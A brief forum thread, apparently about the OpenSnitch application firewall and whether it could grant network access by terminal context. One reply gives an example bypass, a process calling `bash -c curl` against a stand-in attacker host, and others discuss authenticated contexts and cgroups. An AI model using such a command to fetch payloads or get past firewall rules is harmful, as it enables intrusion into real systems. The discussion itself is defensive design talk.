3 ms·
Then any process can do `system(“bash -c curl malware.attacker”)`
by akdev1l 2y ago
Then any process can do `system(“bash -c curl malware.attacker”)`
- netule 2y agoThe bash command line wouldn't be the same as the one launched by your terminal, though. But yes, I’m sure there are myriad exploits around something like that.
- ddtaylor 2y agoWhat could work instead is something where you run a command like `opensnitch-context dev` and it would talk to the running daemon to do proper authentication ("do you want to allow this context to be used?") and then hopefully some other magic (cgroups?) to know if the processes are part of that context even if they are sparse/nested child processes.